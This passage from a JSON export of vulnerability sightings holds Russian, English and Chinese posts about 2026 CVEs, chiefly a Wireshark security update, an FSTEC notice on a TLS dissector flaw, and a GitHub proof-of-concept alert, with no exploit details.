\u0437\u0430\u0432\u0438\u0441\u0430\u043d\u0438\u0439 \u0434\u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0441\u0431\u043e\u0435\u0432 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u0414\u0438\u0430\u043f\u0430\u0437\u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e CVE-\u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e\u0442 CVE-2026-5299 \u0434\u043e CVE-2026-6870\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 \u0418\u0418, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\n\n\u0414\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 Wireshark \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438\u043b\u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u0439 \u043c\u0435\u0440\u043e\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043a\u0430\u043a \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u0442\u0430\u043a \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0438.\n\n\u041d\u0430\u0448\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b: \n\u041a\u0430\u043d\u0430\u043b \u0444\u043e\u0440\u0443\u043c\u0430: T.ME/XSSF_FORUM\n\u041d\u0430\u0448 \u043a\u0430\u043d\u0430\u043b: T.ME/ITARMYOFRUSSIANEWS", "creation_timestamp": "2026-05-03T10:37:15.000000Z"}, {"uuid": "4f73cd4d-6b22-45da-907e-100bcbc7f0ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5403", "type": "seen", "source": "https://t.me/itarmyofrussianews/379", "content": "Wireshark \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u0432 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0431\u043e\u043b\u0435\u0435 40 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430\n\n\u0414\u043b\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0438 \u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u044d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445, SOC \u0438 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f\u0445. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 4.6.5, \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0431\u0435\u0437 \u0437\u0430\u0434\u0435\u0440\u0436\u0435\u043a\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430. \u041e\u043d\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432: TLS (CVE-2026-5402), SBC-\u0430\u0443\u0434\u0438\u043e\u043a\u043e\u0434\u0435\u043a (CVE-2026-5403), RDP (CVE-2026-5405), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u0430 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 (CVE-2026-5656). \u0412\u043e \u0432\u0441\u0435\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0431\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043d\u043e \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0443\u0441\u0443\u0433\u0443\u0431\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e Wireshark \u0447\u0430\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0445 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u0435\u0441\u0442\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ICMPv6, HTTP, WebSocket, MySQL, BT-DHT \u0438 \u0434\u0440\u0443\u0433\u0438\u0435. \u0410\u0442\u0430\u043a\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0434\u0430\u0436\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043e\u0448\u0438\u0431\u043a\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0446\u0438\u043a\u043b\u0430\u043c \u0438 \u043f\u043e\u043b\u043d\u043e\u0439 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0447\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 SIEM\n\n\u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430\u0445 \u0434\u0435\u043a\u043e\u043c\u043f\u0440\u0435\u0441\u0441\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 zlib \u0438 LZ77. \u041e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0436\u0430\u0442\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0441\u0431\u043e\u044f\u043c \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u0436\u0430\u0442\u0438\u0435, \u0447\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u043b\u043e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043f\u0440\u043e\u0431\u043b\u0435\u043c: \u043e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u0437\u0430\u0432\u0438\u0441\u0430\u043d\u0438\u0439 \u0434\u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0441\u0431\u043e\u0435\u0432 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u0414\u0438\u0430\u043f\u0430\u0437\u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e CVE-\u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e\u0442 CVE-2026-5299 \u0434\u043e CVE-2026-6870\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 \u0418\u0418, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\n\n\u0414\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 Wireshark \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438\u043b\u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u0439 \u043c\u0435\u0440\u043e\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043a\u0430\u043a \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u0442\u0430\u043a \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0438.\n\n\u041d\u0430\u0448\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b: \n\u041a\u0430\u043d\u0430\u043b \u0444\u043e\u0440\u0443\u043c\u0430: T.ME/XSSF_FORUM\n\u041d\u0430\u0448 \u043a\u0430\u043d\u0430\u043b: T.ME/ITARMYOFRUSSIANEWS", "creation_timestamp": "2026-05-03T10:37:15.000000Z"}, {"uuid": "7165e40c-d2fc-488d-b602-f2bbd19a4776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5404", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mkymuhf3uq2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 481 interactions\nCVE-2026-41940: 74 interactions\nCVE-2026-3854: 57 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 26 interactions\nCVE-2026-41940: 6 interactions\nCVE-2026-5404: 4 interactions\n", "creation_timestamp": "2026-05-04T02:29:57.775866Z"}, {"uuid": "41f1d169-b3d3-4dff-be39-f28332aba652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5402", "type": "seen", "source": "https://t.me/bdufstecru/3131", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 TLS Dissector \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 Wireshark \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\nBDU:2026-06164\nCVE-2026-5402\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://www.wireshark.org/security/wnpa-sec-2026-14.html", "creation_timestamp": "2026-05-05T14:47:52.000000Z"}, {"uuid": "fd076e55-c081-48a5-9f87-c1a1688b0e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/GithubRedTeam/96451", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a POC-CVE-2026-54121-Certighost-\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a sam00\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 14:42:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-03T16:00:04.646387Z"}, {"uuid": "16d60227-7f44-486a-9408-5493d88c83ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://t.me/bdufstecru/3354", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 Win32k (Win32k.sys) \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Windows \u0441\u0432\u044f\u0437\u0430\u043d\u0430 c \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043e\u0431\u0449\u0435\u0433\u043e \u0440\u0435\u0441\u0443\u0440\u0441\u0430 (\u00ab\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0433\u043e\u043d\u043a\u0438\u00bb). \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c 